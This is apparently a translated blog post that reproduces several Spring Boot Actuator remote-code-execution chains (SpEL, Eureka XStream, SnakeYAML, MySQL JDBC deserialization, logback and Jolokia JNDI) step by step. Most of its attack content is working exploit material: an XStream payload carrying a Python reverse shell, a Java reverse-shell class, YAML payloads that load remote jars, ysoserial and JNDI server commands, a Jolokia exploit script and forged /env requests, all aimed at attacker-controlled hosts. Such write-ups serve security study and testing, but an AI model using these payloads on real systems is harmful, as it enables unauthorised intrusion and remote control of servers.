Spring Boot Actuator Vulnerability Reproduction Collection

foreword

Some Spring Boot Actuator unauthorized access vulnerabilities can still be encountered in daily tests. This kind of unauthorized access can achieve the effect of RCE in some cases, so there is still a certain value. The following is a series of Bug reappears.

Basically, it is a reproduction of referring to this article:

LandGrey/SpringBootVulExploit: SpringBoot-related vulnerability learning materials, a collection of exploit methods and techniques, black-box security assessment check list (github.com)

Introduction to Spring Boot Actuator

Spring Boot Actuator endpoints are publicly exposed to external access through JMX and HTTP. Most of the time we use HTTP-based Actuator endpoints because they are easy to access through browsers, CURL commands, shell scripts, etc.

Some useful actuator endpoints are:

Spring Boot Actuator unauthorized access

/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
  • The default starting path of the built-in routing in Spring Boot Actuator 1.x version is /, and the 2.x version is unified /actuatoras the starting path
  • The default built-in routing name of Spring Boot Actuator, such as /envsometimes, is modified by programmers, such as/appenv

whitelabel error page SpEL RCE

1 Affected version:

  • Affected versions:
    1.1.0-1.1.12
    1.2.0-1.2.7
    1.3.0

2 Vulnerability principle:

  • The use condition is to use the default error page of springboot (Whitelabel Error Page)
  1. The spring boot processing parameter value is wrong, and the process enters org.springframework.util.PropertyPlaceholderHelperthe class

  2. At this point, the parameter values ​​in the URL will parseStringValuebe recursively parsed using the method

  3. ${}The content surrounded by will be parsed and executed by the method org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfigurationof the class as a SpEL expression, resulting in an RCE vulnerabilityresolvePlaceholder

3 Verification detection method:

Step 1: Find a normal parameter passing place

For example, if an access is found /article, the page will report an error with a status code of 500:Whitelabel Error Page

image-20211125105128725

Step 2: Execute the SpEL expression

Input /article?id=${7*7}, if it is found that the error page calculates the value 49 of 7*7 and displays it on the error page, then it is basically confirmed that the target has a SpEL expression injection vulnerability.

image-20211125104910358

4 How to use:

Convert from string format to 0x**java byte form, easy to execute arbitrary code:

# author: Zeo
# python: 3.7 
# software: PyCharm

"""
文件说明:转换字节码
"""
# coding: utf-8

result = ""
target = 'open -a Calculator'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

Normal access:

http://127.0.0.1:9091/article?id=66

Execute open -a Calculatorthe command:

http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

image-20211125105005884

Vulnerability environment construction:

https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce

eureka xstream deserialization RCE

1 Conditions of use:

  • You can POST request /envthe interface setting properties of the target website
  • You can POST to request /refreshthe interface refresh configuration of the target website (there is spring-boot-starter-actuatora dependency)
  • < 1.8.7 used by the target eureka-client(usually included in spring-cloud-starter-netflix-eureka-clientdependencies)
  • The target can request the attacker's HTTP server (the request can go out to the external network)

2 Vulnerability principle:

  1. The eureka.client.serviceUrl.defaultZone property is set to a malicious external eureka server URL address
  2. refresh triggers the target machine to request a remote URL, and the fake eureka server set up in advance will return a malicious payload
  3. The target machine depends on parsing the payload, triggering XStream deserialization, causing RCE vulnerability

3 Vulnerability environment:

repository/springboot-eureka-xstream-rce

4 Vulnerability recurrence

Normal access:

http://127.0.0.1:9093/env

image-20211202103040953

finds that the required dependencies exist

nc listens on the port, waiting for a rebound shell

image-20211202104656362

Host a website that responds to a malicious XStream payload

Run the malicious script, and modify the ip address and port number of the reverse shell in the script according to the actual situation

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

from flask import Flask, Response

app = Flask(__name__)


@app.route('/', defaults={
    
    'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
    xml = """<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                       <string>/bin/bash</string>
                       <string>-c</string>
                       <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
    return Response(xml, mimetype='application/xml')


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=777)

Send setting eureka.client.serviceUrl.defaultZone property

image-20211202111957169

POST /env HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://VPSIP:777/example

refresh configuration

POST /refresh HTTP/1.1
Host: 127.0.0.1:9093
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20211202112136839

Successfully rebound the shell

image-20211202111923596

5 How to use:

Step 1: Build a website that responds to the malicious XStream payload

Provide an example python script that depends on Flask and meets the requirements , and uses the built-in python on the target Linux machine to reverse the shell.

Use python to run the above script on the server you control, and modify the ip address and port number of the rebound shell in the script according to the actual situation.

Step 2: Listen to the port of the reverse shell

Generally use nc to monitor the port and wait for the rebound shell

nc -lvp 443
Step 3: Set the eureka.client.serviceUrl.defaultZone property

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
Step 4: Refresh the configuration

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

spring cloud SnakeYAML RCE

1 Conditions of use:

  • You can POST request /envthe interface setting properties of the target website
  • You can POST to request /refreshthe interface refresh configuration of the target website (there is spring-boot-starter-actuatora dependency)
  • Target depends on spring-cloud-starterversion < 1.3.0.RELEASE
  • The target can request the attacker's HTTP server (the request can go out to the external network)

2 How to use:

Step 1: Host yml and jar files

Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

image-20220129144602894

ymlPlace a file with the suffix in the root directory of the website example.yml, the content is as follows:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/example.jar"]
  ]]
]

image-20220129144519323

jarPlace a file with the suffix in the root directory of the website example.jar, the content is the code to be executed,

Code writing and compilation method reference (https://github.com/artsploit/yaml-payload).

AwesomeScriptEngineFactory.java

package artsploit;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
    
    

    public AwesomeScriptEngineFactory() {
    
    
        try {
    
    
            Runtime.getRuntime().exec("dig quonwz.dnslog.cn");
            Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
        } catch (IOException e) {
    
    
            e.printStackTrace();
        }
    }

    @Override
    public String getEngineName() {
    
    
        return null;
    }

    @Override
    public String getEngineVersion() {
    
    
        return null;
    }

    @Override
    public List<String> getExtensions() {
    
    
        return null;
    }

    @Override
    public List<String> getMimeTypes() {
    
    
        return null;
    }

    @Override
    public List<String> getNames() {
    
    
        return null;
    }

    @Override
    public String getLanguageName() {
    
    
        return null;
    }

    @Override
    public String getLanguageVersion() {
    
    
        return null;
    }

    @Override
    public Object getParameter(String key) {
    
    
        return null;
    }

    @Override
    public String getMethodCallSyntax(String obj, String m, String... args) {
    
    
        return null;
    }

    @Override
    public String getOutputStatement(String toDisplay) {
    
    
        return null;
    }

    @Override
    public String getProgram(String... statements) {
    
    
        return null;
    }

    @Override
    public ScriptEngine getScriptEngine() {
    
    
        return null;
    }
}

package command

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

Packing complete

image-20211224140901914

Step 2: Set the spring.cloud.bootstrap.location property

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/example.yml![]()

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}

Step 3: Refresh the configuration

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

image-20211224144527246

image-20211224144604954

spring 2.x

POST /actuator/refresh
Content-Type: application/json

3 Vulnerability principles:

  1. The spring.cloud.bootstrap.location property is set to the external malicious yml file URL address
  2. refresh triggers the target machine to request the yml file on the remote HTTP server to obtain its content
  3. Due to the deserialization vulnerability of SnakeYAML, the specified action will be completed when parsing malicious yml content
  4. First trigger java.net.URL to pull the malicious jar file on the remote HTTP server
  5. Then look for the class that implements the javax.script.ScriptEngineFactory interface in the jar file and instantiate it
  6. Execute malicious code when instantiating a class, causing an RCE vulnerability

4 Utilize process analytics to:

First, briefly summarize the utilization process

  1. Use /envthe endpoint to modify spring.cloud.bootstrap.locationthe attribute value to an external yml configuration file url address, such ashttp://127.0.0.1:63712/yaml-payload.yml
  2. Request /refreshthe endpoint, trigger the program to download the external yml file, and analyze it by the SnakeYAML library. Because SnakeYAML supports specifying the parameters of the class type and construction method during deserialization, combined with the classes that come with the JDK, it can realize loading remote jar packages and complete javax.script.ScriptEngineManagerany code execution

We know from the process that the command execution is caused by the deserialization vulnerability of SnakeYAML when parsing the YAML file. Let’s look at an example of deserialization using the SnakeYAML library

    @Test
    public void testYaml() {
        Yaml yaml = new Yaml();
        Object url = yaml.load("!!java.net.URL [\"http://127.0.0.1:63712/yaml-payload.jar\"]");
        // class java.net.URL
        System.out.println(url.getClass());
        // http://127.0.0.1:63712/yaml-payload.jar
        System.out.println(url);
    }

SnakeYAML supports !!+ the full class name to specify the class to be deserialized, and then pass the constructor parameters in the form of . After the code in the example is executed, an instance of the class [arg1, arg2, ...]will be deserializedjava.net.URL

yaml-payload.ymlLet's take a look at the content of the external yml file given in the article

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:61234/yaml-payload.jar"]
  ]]
]

The process of SnakeYAML processing the above content can be equivalent to the following java code

URL url = new URL("http://127.0.0.1:63712/yaml-payload.jar");
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));

After the code is executed, http://127.0.0.1:63712/yaml-payload.jarthe jar package will be downloaded from the address, and an implementation class of the interface will be found in the package javax.script.ScriptEngineFactory, and then instantiated, because the jar package code is controllable, so any code can be executed

5 Vulnerability environment:

repository/springcloud-snakeyaml-rce

Normal access:

http://127.0.0.1:9092/env

springboot mysql jdbc deserialization RCE

1 Conditions of use:

  • You can POST request /envthe interface setting properties of the target website
  • You can POST to request /refreshthe interface refresh configuration of the target website (there is spring-boot-starter-actuatora dependency)
  • mysql-connector-javaDependencies exist in the target environment
  • The target can request the attacker's server (the request can go out of the Internet)

2 Vulnerability principle:

  1. The spring.datasource.url property is set to the external malicious mysql jdbc url address
  2. A new spring.datasource.url property value is set after refresh
  3. When the website performs database query and other operations, it will try to use malicious mysql jdbc url to establish a new database connection
  4. Then the malicious mysql server will return the deserialized payload data at the appropriate stage of establishing the connection
  5. The mysql-connector-java that the target depends on will deserialize the set gadget, causing an RCE vulnerability

3 Utilization process

Step 1: View environment dependencies

GET request /envor /actuator/env, search for mysql-connector-javathe keyword in the environment variable (classpath), and record its version number (5.x or 8.x);

image-20211208135505340

Search and observe whether there are common deserialization gadget dependencies in the environment variables, such as commons-collections, Jdk7u21, Jdk8u20etc.;

image-20211208135537355

Search for spring.datasource.urlthe keyword and record its valuevalue, so as to restore its normal jdbc url value later.

image-20211208135606250

Step 2: Set up a malicious rogue mysql server

Run the springboot-jdbc-deserialization-rce.py script on the server you control , and use ysoserial to customize the commands to be executed:

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

Generate a deserialized payload file in the same directory as the script for use by the script .payload.ser

Step 3: Set the spring.datasource.url property

⚠️ Modifying this attribute will temporarily cause all normal database services of the website to be unavailable, which will affect the business, please operate with caution!

The mysql-connector-java 5.x version sets the attribute value to :

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

The mysql-connector-java 8.x version sets the property value to :

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

image-20211208142322601

Step 4: Refresh the configuration

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

image-20211208143044550

Step 5: Trigger database query

Try to access the known database query interface of the website, for example: /product/list, or find other ways to actively trigger the source website to perform database query, and then the vulnerability will be triggered

访问http://127.0.0.1:9097//product/list

image-20211208143638795

Step 6: Restore the normal jdbc url

After the exploit of the deserialization vulnerability is completed, use the method of step 3 to restore the original value of recorded in step 1spring.datasource.urlvalue

restart logging.config logback JNDI RCE

1 Conditions of use:

  • You can POST request /envthe interface setting properties of the target website
  • You can POST to request /restartthe interface of the target website to restart the application
  • Common JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed
  • ⚠️ The target can request the attacker's HTTP server (the request can go out of the Internet), otherwise restart will cause the program to exit abnormally
  • ⚠️ If the HTTP server returns a file containing malformed xml syntax content, the program will exit abnormally
  • ⚠️ The object returned by the JNDI service needs to implement javax.naming.spi.ObjectFactorythe interface, otherwise the program will exit abnormally

2 How to use:

Step Zero: Find Your Target Website

Found that spring actuatorthere are currently two versions with relatively large differences, 1.x and 2.x versions. /actuatorFrom the perspective of routing, the routing name of version 2.x generally has a prefix before the routing name of version 1.x. The relevant vulnerability principles involved in this article have been tested and spring actuatorhave little difference in correlation with the major version, and 2.x will be used in the following

image-20220106101333986

Step 1: Host the xml file

Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible

# 使用 python 快速开启 http server
python3 -m http.server 80

Place the file xmlending with in the root directory example.xml, the actual content should be determined according to the JNDI service used in step 2:

<configuration>
  <insertFromJNDI env-entry-name="ldap://110.xx.xx.110:1389/TomcatBypass/TomcatMemshell3" as="appName" />
</configuration>

Step 2: Host the malicious ldap service and code

Modify JNDIExploit and start (other tools can also be used):

https://github.com/feihong-cs/JNDIExploit

java -jar JNDIExploit-1.0-SNAPSHOT.jar -i 110.xx.xx.110

Step 3: Set logging.config properties

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

logging.config=http://your-vps-ip/example.xml

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"logging.config","value":"http://your-vps-ip/example.xml"}

image-20220106104030240

image-20220106104041591

Step 4: Restart the application

spring 1.x

POST /restart
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/restart
Content-Type: application/json

image-20220106104137651

image-20220106104146393

image-20220106105457183

image-20220106105418120

4 Vulnerability principle:

  1. The target machine sets the logback log configuration file URL address through the logging.config property
  2. restart After restarting the application, the program will request the URL address to obtain the content of the malicious xml file
  3. The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
  4. The xml file uses the logbackdependent insertFormJNDItag to set the external JNDI server address
  5. The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability

Springboot jolokia Realm JNDI RCE

1 Normal access:

http://127.0.0.1:9094/env

image-20220126103125692

2 Conditions of use:

  • Target website exists /jolokiaor /actuator/jolokiainterface
  • The target uses jolokia-coredependencies (version requirements are not yet known) and related MBeans exist in the environment
  • The target can request the attacker's server (the request can go out of the Internet)
  • Ordinary JNDI injection is affected by the target JDK version, jdk < 6u141/7u131/8u121(RMI), but the related environment can be bypassed

image-20220126103151134

3 How to use:

Step 1: View existing MBeans

Visit the interface to check whether the and keywords /jolokia/listexist .type=MBeanFactorycreateJNDIRealm

image-20220126103236857

Step 2: Prepare the Java code to be executed

Write optimized Java sample code for reverse shell JNDIObject.java.

Compile JNDIObject.java into a class file

javac -source 1.5 -target 1.5 /Users/zy/Desktop/JNDIObject.java

Modify the fields of the rebound shell

String ip = "110.110.110.110";
String port = "4443";

code:

/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    
    
    static {
    
    
        try{
    
    
            String ip = "your-vps-ip";
            String port = "443";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
    
    
                String[] py_envs = new String[]{
    
    "/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
    
    
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
    
    
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
    
    
                    if ((new File("/bin/bash")).exists()) {
    
    
                        cmd = new String[]{
    
    py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
    
    
                        cmd = new String[]{
    
    py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
    
    
                    if ((new File("/bin/bash")).exists()) {
    
    
                        cmd = new String[]{
    
    "/bin/bash"};
                    } else {
    
    
                        cmd = new String[]{
    
    "/bin/sh"};
                    }
                }
            } else {
    
    
                cmd = new String[]{
    
    "cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
    
    
                while(pi.available() > 0) {
    
    
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
    
    
                    so.write(pe.read());
                }
                while(si.available() > 0) {
    
    
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
    
    
                    p.exitValue();
                    break;
                } catch (Exception e) {
    
    
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
    
    
            e.printStackTrace();
        }
    }
}

Step 3: Manage class files

Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

Copy the class file compiled in step 2 to the root directory of the HTTP server.

Step 4: Set up a malicious rmi service

Download marshalsec https://github.com/mbechler/marshalsec, and use the following command to set up the corresponding rmi service:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://110.110.110.110:88/#JNDIObject 1389

Step 5: Listen to the port of the reverse shell

Generally use nc to monitor the port and wait for the rebound shell

nc -lvp 4443

Step 6: Send malicious payload

Modify the target address, RMI address, port and other information in the script according to the actual situation, and then run it on the server controlled by yourself.

需要修改的地方
url = 'http://127.0.0.1:9094/jolokia/'
"value": "rmi://110.110.110.110:1389/JNDIObject"

Code: springboot-realm-jndi-rce.py

import requests


url = 'http://127.0.0.1:9094/jolokia/'


create_realm = {
    
    
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://110.110.110.110:1389/JNDIObject"
}

stop = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

run python file

image-20220126142733040

The RMI service receives the request

image-20220126141535653

VPS receives bounced shell

image-20220126141801956

4 Vulnerability principle:

  1. Use jolokia to call createJNDIRealm to create JNDIRealm
  2. Set connectionURL address to RMI Service URL
  3. Set contextFactory to RegistryContextFactory
  4. Stop Realm
  5. Start Realm to trigger JNDI injection of specified RMI address, causing RCE vulnerability

Springboot jolokia logback JNDI RCE

1 Vulnerability environment, normal access:

http://127.0.0.1:9094/env

image-20220126092951280

2 Conditions of use:

  • Target website exists /jolokiaor /actuator/jolokiainterface

  • The target uses jolokia-coredependencies (version requirements are not yet known) and related MBeans exist in the environment

  • The target can request the attacker's HTTP server (the request can go out to the external network)

  • Common JNDI injection is affected by the target JDK version, jdk < 6u201/7u191/8u182/11.0.1(LDAP), but the related environment can be bypassed

http://127.0.0.1:9094/jolokia

image-20220126093044846

3 How to use:

Step 1: View existing MBeans

Visit the interface to check whether the and keywords /jolokia/listexist .ch.qos.logback.classic.jmx.JMXConfiguratorreloadByURL

image-20220126094044156

Step 2: Manage the xml file

Open a simple HTTP server on the vps machine controlled by yourself, and use common HTTP service ports (80, 443) as much as possible

# 使用 python 快速开启 http server

python2 -m SimpleHTTPServer 80
python3 -m http.server 80

Place a file xmlending with in the root directory example.xmlwith the following content:

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/JNDIObject" as="appName" />
</configuration>

Step 3: Set up a malicious ldap service

Download JNDIExploit, and use the following command to set up the corresponding ldap service:

 java -jar JNDIExploit-1.3-SNAPSHOT.jar

Step 4: Load the log configuration file from the external URL address

Replace the actual your-vps-ip address to access the URL to trigger the vulnerability:

注意payload种URL
http:!/!/your-vps-ip!/example.xml
其中 / 都是 !/ 替代的

PAYLOAD

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

HTTP request received request

image-20220126101113887

JNDI receives the request

image-20220126101008425

successful command execution

image-20220126100454427

⚠️ If the target successfully requested example.xml and marshalsec also received the target request, but the target did not request JNDIObject.class, the high probability is that the jdk version of the target environment is too high, resulting in JNDI utilization failure.

4 Vulnerability principle:

  1. Direct access to the URL that can trigger the vulnerability is equivalent to calling the method ch.qos.logback.classic.jmx.JMXConfiguratorof the class through jolokiareloadByURL
  2. The target machine requests the URL address of the external log configuration file to obtain the content of the malicious xml file
  3. The target machine uses saxParser.parse to parse the xml file (this leads to the xxe vulnerability)
  4. The xml file uses the logbackdependent insertFormJNDItag to set the external JNDI server address
  5. The target machine requests a malicious JNDI server, resulting in JNDI injection, resulting in an RCE vulnerability

Spring Boot Actuator Vulnerability Reproduction Collection.md

Guess you like

Origin blog.csdn.net/god_zzZ/article/details/122837698